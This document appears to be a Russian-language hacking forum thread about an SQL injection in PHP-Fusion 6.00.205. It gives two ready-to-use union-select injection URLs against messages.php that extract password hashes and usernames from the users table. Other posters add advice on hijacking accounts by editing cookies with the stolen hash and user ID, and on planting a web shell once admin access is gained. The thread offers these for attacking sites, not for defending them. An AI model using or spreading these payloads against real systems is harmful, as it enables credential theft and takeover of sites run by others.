php-fusion 6.00.205 sql-injection

[sn0w]

Прежде всего спасибо ZaCo (xaxa3217) - sql нашел именно он!))) а сайт - я))) . По мере того как линки будут умирать (webfile.ru)) я добавлю новые. Кстати ZaCo гдето запостил сам sql запрос. вот. поэтому не буду повторять. Итак видео щас тут: webfile.ru/657729

[k1b0rg]

выложи сплойт

[africanec]

смори грин мишка создавал тему непомню как называеться

[sn0w]

мд5 хэши
/messages.php?folder=inbox&show='%20union%20select%201,1,1,user_password,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1+from+fusion_users/*

имена
/messages.php?folder=inbox&show='%20union%20select%201,1,1,user_name,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1+from+fusion_users/*

надо быть залогиненным

[GreenBear]

Достаточно было взять хешку и подредактировать куки.. даже имя пользователя знать не надо, просто в куках меняеш айди. эт я про видео.

[ilyha]

А шелл, как в него залить из админки?

[sn0w]

шелл я не заливал, но попробуй качнуть к примеру из полученной админки

[Blacksmith]

Есть подобный скуль для версии PHP-Fusion 6.01.3.01 ?